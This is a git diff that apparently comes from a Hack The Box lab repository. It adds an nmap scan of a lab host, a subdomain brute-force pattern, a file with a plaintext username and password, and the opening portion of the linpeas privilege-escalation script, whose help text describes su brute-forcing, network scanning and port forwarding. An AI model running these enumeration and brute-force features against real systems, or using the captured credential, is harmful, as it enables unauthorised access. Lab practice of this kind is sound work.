+++ b/boardlight/pattern
@@ -0,0 +1 @@
+{GOBUSTER}.board.htb
diff --git a/boardlight/rustscan b/boardlight/rustscan
new file mode 100644
index 0000000..acb3c21
--- /dev/null
+++ b/boardlight/rustscan
@@ -0,0 +1,24 @@
+# Nmap 7.94SVN scan initiated Tue Aug 27 21:03:05 2024 as: nmap -vvv -p 22,80 -sC -sV -oN rustscan 10.10.11.11
+Nmap scan report for 10.10.11.11
+Host is up, received syn-ack (0.21s latency).
+Scanned at 2024-08-27 21:03:05 IST for 19s
+
+PORT STATE SERVICE REASON VERSION
+22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey:
+| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
+| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH0dV4gtJNo8ixEEBDxhUId6Pc/8iNLX16+zpUCIgmxxl5TivDMLg2JvXorp4F2r8ci44CESUlnMHRSYNtlLttiIZHpTML7ktFHbNexvOAJqE1lIlQlGjWBU1hWq6Y6n1tuUANOd5U+Yc0/h53gKu5nXTQTy1c9CLbQfaYvFjnzrR3NQ6Hw7ih5u3mEjJngP+Sq+dpzUcnFe1BekvBPrxdAJwN6w+MSpGFyQSAkUthrOE4JRnpa6jSsTjXODDjioNkp2NLkKa73Yc2DHk3evNUXfa+P8oWFBk8ZXSHFyeOoNkcqkPCrkevB71NdFtn3Fd/Ar07co0ygw90Vb2q34cu1Jo/1oPV1UFsvcwaKJuxBKozH+VA0F9hyriPKjsvTRCbkFjweLxCib5phagHu6K5KEYC+VmWbCUnWyvYZauJ1/t5xQqqi9UWssRjbE1mI0Krq2Zb97qnONhzcclAPVpvEVdCCcl0rYZjQt6VI1PzHha56JepZCFCNvX3FVxYzEk=
+| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
+| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK7G5PgPkbp1awVqM5uOpMJ/xVrNirmwIT21bMG/+jihUY8rOXxSbidRfC9KgvSDC4flMsPZUrWziSuBDJAra5g=
+| 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
+|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILHj/lr3X40pR3k9+uYJk4oSjdULCK0DlOxbiL66ZRWg
+80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
+| http-methods:
+|_ Supported Methods: GET HEAD POST OPTIONS
+|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
+|_http-server-header: Apache/2.4.41 (Ubuntu)
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+Read data files from: /usr/bin/../share/nmap
+Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
+# Nmap done at Tue Aug 27 21:03:24 2024 -- 1 IP address (1 host up) scanned in 19.89 seconds
diff --git a/boardlight/users b/boardlight/users
new file mode 100644
index 0000000..b1fa715
--- /dev/null
+++ b/boardlight/users
@@ -0,0 +1 @@
+larissa:serverfun2$2023!!
diff --git a/editorial/linpeas.sh b/editorial/linpeas.sh
new file mode 100644
index 0000000..8cf7c43
--- /dev/null
+++ b/editorial/linpeas.sh
@@ -0,0 +1,5960 @@
+#!/bin/sh
+
+VERSION="ng"
+ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission."
+
+###########################################
+#-------) Checks pre-everything (---------#
+###########################################
+if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then
+ IAMROOT="1"
+ MAXPATH_FIND_W="3"
+else
+ IAMROOT=""
+ MAXPATH_FIND_W="7"
+fi
+
+
+###########################################
+#---------------) Colors (----------------#
+###########################################
+
+C=$(printf '\033')
+RED="${C}[1;31m"
+SED_RED="${C}[1;31m&${C}[0m"
+GREEN="${C}[1;32m"
+SED_GREEN="${C}[1;32m&${C}[0m"
+YELLOW="${C}[1;33m"
+SED_YELLOW="${C}[1;33m&${C}[0m"
+RED_YELLOW="${C}[1;31;103m"
+SED_RED_YELLOW="${C}[1;31;103m&${C}[0m"
+BLUE="${C}[1;34m"
+SED_BLUE="${C}[1;34m&${C}[0m"
+ITALIC_BLUE="${C}[1;34m${C}[3m"
+LIGHT_MAGENTA="${C}[1;95m"
+SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m"
+LIGHT_CYAN="${C}[1;96m"
+SED_LIGHT_CYAN="${C}[1;96m&${C}[0m"
+LG="${C}[1;37m" #LightGray
+SED_LG="${C}[1;37m&${C}[0m"
+DG="${C}[1;90m" #DarkGray
+SED_DG="${C}[1;90m&${C}[0m"
+NC="${C}[0m"
+UNDERLINED="${C}[5m"
+ITALIC="${C}[3m"
+
+
+###########################################
+#---------) Parsing parameters (----------#
+###########################################
+# --) FAST - Do not check 1min of procceses and su brute
+# --) SUPERFAST - FAST & do not search for special filaes in all the folders
+
+if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi
+FAST="1" # By default stealth/fast mode
+SUPERFAST=""
+DISCOVERY=""
+PORTS=""
+QUIET=""
+CHECKS="system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex"
+SEARCH_IN_FOLDER=""
+ROOT_FOLDER="/"
+WAIT=""
+PASSWORD=""
+NOCOLOR=""
+DEBUG=""
+AUTO_NETWORK_SCAN=""
+EXTRA_CHECKS=""
+REGEXES=""
+PORT_FORWARD=""
+THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")"
+[ -z "$THREADS" ] && THREADS="2" # If THREADS is empty, put number 2
+[ -n "$THREADS" ] && THREADS="2" # If THREADS is null, put number 2
+[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" # It THREADS is not a number, put number 2
+HELP=$GREEN"Enumerate and search Privilege Escalation vectors.
+${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors.
+ ${GREEN} Checks:
+ ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks.
+ ${YELLOW} -o${BLUE} Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex). Select a comma separated list.
+ ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks)
+ ${YELLOW} -e${BLUE} Perform extra enumeration
+ ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
+ ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours)
+ ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
+ ${YELLOW} -D${BLUE} Debug mode
+
+ ${GREEN} Network recon:
+ ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files
+ ${YELLOW} -d <IP/NETMASK>${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24
+ ${YELLOW} -p <PORT(s)> -d <IP/NETMASK>${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139
+ ${YELLOW} -i <IP> [-p <PORT(s)>]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
+ $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
+
+ ${GREEN} Port forwarding (reverse connection):
+ ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT)
+
+ ${GREEN} Firmware recon:
+ ${YELLOW} -f </FOLDER/PATH>${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder
+
+ ${GREEN} Misc:
+ ${YELLOW} -h${BLUE} To show this message
+ ${YELLOW} -w${BLUE} Wait execution between big blocks of checks
+ ${YELLOW} -L${BLUE} Force linpeas execution
+ ${YELLOW} -M${BLUE} Force macpeas execution
+ ${YELLOW} -q${BLUE} Do not show banner
+ ${YELLOW} -N${BLUE} Do not use colours$NC"
+
+while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do
+ case "$opt" in
+ h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;;
+ a) FAST="";EXTRA_CHECKS="1";;
+ s) SUPERFAST=1;;
+ d) DISCOVERY=$OPTARG;;
+ p) PORTS=$OPTARG;;
+ i) IP=$OPTARG;;
+ P) PASSWORD=$OPTARG;;
+ q) QUIET=1;;
+ o) CHECKS=$OPTARG;;
+ L) MACPEAS="";;
+ M) MACPEAS="1";;
+ w) WAIT=1;;
+ N) NOCOLOR="1";;
+ D) DEBUG="1";;
+ t) AUTO_NETWORK_SCAN="1"; CHECKS="network_information";;
+ e) EXTRA_CHECKS="1";;
+ r) REGEXES="1";;
+ f) SEARCH_IN_FOLDER=$OPTARG;
+ if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then # Make sure firmware folder ends with "/"
+ SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/";
+ fi;
+ ROOT_FOLDER=$SEARCH_IN_FOLDER;
+ REGEXES="1";
+ CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";;
+
+ F) PORT_FORWARD=$OPTARG;;
+ esac
+done
+
+if [ "$MACPEAS" ]; then SCRIPTNAME="macpeas"; else SCRIPTNAME="linpeas"; fi
+if [ "$NOCOLOR" ]; then
+ C=""
+ RED=""
+ SED_RED="&"
+ GREEN=""
+ SED_GREEN="&"
+ YELLOW=""
+ SED_YELLOW="&"
+ SED_RED_YELLOW="&"
+ BLUE=""
+ SED_BLUE="&"
+ ITALIC_BLUE=""
+ LIGHT_MAGENTA=""
+ SED_LIGHT_MAGENTA="&"
+ LIGHT_CYAN=""
+ SED_LIGHT_CYAN="&"
+ LG=""
+ SED_LG="&"
+ DG=""
+ SED_DG="&"
+ NC=""
+ UNDERLINED=""
+ ITALIC=""
+fi
+
+
+###########################################
+#---------------) BANNER (----------------#
+###########################################
+
+print_banner(){
+ if [ "$MACPEAS" ]; then
+ bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m
+ \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m
+ \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m
+ \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m
+ \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m
+ \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m
+ \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m
+ \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m
+ \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m
+ \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;15m\e[38;5;250m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;238m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;2m▄\e[48;5;255m\e[38;5;2m▄\e[48;5;255m\e[38;5;64m▄\e[48;5;254m\e[38;5;70m▄\e[48;5;188m\e[38;5;70m▄\e[48;5;253m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;255m\e[38;5;70m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;64m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;236m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;102m▄\e[48;5;15m\e[38;5;251m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;236m \e[0m
+ \e[48;5;71m \e[38;5;233m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;238m\e[38;5;76m▄\e[48;5;65m\e[38;5;76m▄\e[48;5;236m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;240m\e[38;5;76m▄\e[48;5;145m\e[38;5;76m▄\e[48;5;15m\e[38;5;28m▄\e[48;5;15m\e[38;5;235m▄\e[48;5;15m\e[38;5;240m▄\e[48;5;15m\e[38;5;145m▄\e[48;5;15m\e[38;5;254m▄\e[48;5;15m \e[48;5;242m\e[38;5;251m▄\e[48;5;236m\e[38;5;235m▄\e[0m
+ \e[48;5;65m\e[38;5;232m▄\e[48;5;235m\e[38;5;64m▄\e[48;5;70m \e[48;5;76m \e[48;5;2m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;242m\e[38;5;76m▄\e[48;5;254m\e[38;5;64m▄\e[48;5;15m\e[38;5;234m▄\e[48;5;15m\e[38;5;243m▄\e[48;5;15m\e[38;5;253m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;233m \e[0m
+ \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;28m\e[38;5;76m▄\e[48;5;235m\e[38;5;76m▄\e[48;5;102m\e[38;5;236m▄\e[48;5;250m\e[38;5;235m▄\e[48;5;233m\e[38;5;232m▄\e[0m
+ \e[48;5;232m \e[48;5;237m \e[48;5;70m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;233m\e[38;5;76m▄\e[48;5;76m\e[38;5;233m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;28m\e[38;5;76m▄\e[48;5;76m \e[48;5;70m \e[48;5;236m \e[48;5;238m \e[48;5;236m\e[0m
+ \e[48;5;232m\e[38;5;236m▄\e[48;5;236m\e[38;5;233m▄\e[48;5;64m \e[48;5;76m \e[48;5;70m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;76m \e[38;5;64m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;233m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m \e[38;5;235m▄\e[0m
+ \e[48;5;71m \e[48;5;232m\e[38;5;65m▄\e[48;5;64m\e[38;5;233m▄\e[48;5;76m \e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;77m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[48;5;0m\e[38;5;70m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;70m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;107m▄\e[48;5;76m\e[38;5;77m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;236m \e[48;5;237m\e[38;5;238m▄\e[48;5;234m\e[38;5;235m▄\e[0m
+ \e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;64m\e[38;5;232m▄\e[48;5;76m \e[48;5;77m\e[38;5;76m▄\e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[38;5;77m▄\e[48;5;77m \e[48;5;76m \e[48;5;107m\e[38;5;77m▄\e[48;5;107m \e[48;5;71m\e[38;5;77m▄\e[48;5;76m \e[48;5;64m \e[48;5;236m\e[38;5;237m▄\e[48;5;237m\e[38;5;234m▄\e[0m
+ \e[48;5;71m \e[48;5;232m\e[38;5;239m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;64m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m
+ \e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;232m\e[38;5;235m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m \e[48;5;70m\e[38;5;236m▄\e[48;5;236m \e[48;5;237m\e[38;5;234m▄\e[48;5;235m\e[38;5;236m▄\e[0m
+ \e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;232m\e[38;5;65m▄\e[48;5;70m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;22m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;70m\e[38;5;236m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;235m\e[38;5;238m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m\e[38;5;233m▄\e[0m
+ \e[38;5;233m▀\e[48;5;71m\e[38;5;232m▄\e[48;5;71m \e[48;5;236m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;2m\e[38;5;235m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m \e[38;5;77m▄\e[48;5;76m\e[38;5;236m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;22m\e[38;5;238m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[0m
+ \e[48;5;65m\e[38;5;238m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;235m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;238m▄\e[48;5;65m\e[38;5;234m▄\e[48;5;70m\e[38;5;232m▄\e[48;5;77m\e[38;5;0m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;235m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;65m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;234m▄\e[48;5;76m\e[38;5;232m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;76m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;237m\e[38;5;236m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;237m▄\e[0m
+ \e[38;5;232m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;65m\e[38;5;71m▄\e[48;5;71m \e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;234m▀\e[38;5;239m▀\e[0m
+ \e[38;5;234m▀\e[38;5;236m▀\e[48;5;71m\e[38;5;235m▄\e[48;5;71m\e[38;5;234m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;236m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;65m\e[38;5;243m▄\e[0m\e[38;5;233m▀\e[38;5;235m▀\e[0m
+ \e[38;5;242m▀\e[38;5;233m▀\e[38;5;232m▀\e[38;5;234m▀\e[38;5;236m▀\e[48;5;65m\e[38;5;236m▄\e[48;5;65m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;65m\e[38;5;237m▄\e[48;5;237m\e[38;5;8m▄\e[0m\e[38;5;234m▀\e[38;5;232m▀\e[38;5;232m▀\e[38;5;59m▀\e[0m
+'";
+ else
+ if [ -f "/bin/bash" ]; then
+ /bin/bash -c "printf '
+ \e[38;2;26;43;21m▄\e[38;2;58;91;50m▄\e[48;2;116;117;116m\e[38;2;68;119;56m▄\e[48;2;98;98;98m\e[38;2;86;143;70m▄\e[48;2;98;98;98m\e[38;2;100;153;87m▄\e[48;2;63;65;63m\e[38;2;102;164;86m▄\e[48;2;46;49;44m\e[38;2;98;168;79m▄\e[48;2;43;45;43m\e[38;2;91;155;75m▄\e[48;2;61;62;61m\e[38;2;78;137;63m▄\e[48;2;102;101;102m\e[38;2;64;112;52m▄\e[0m\e[38;2;38;67;32m▄\e[38;2;20;35;16m▄\e[38;2;10;20;8m▄\e[38;2;15;21;13m▄\e[0m
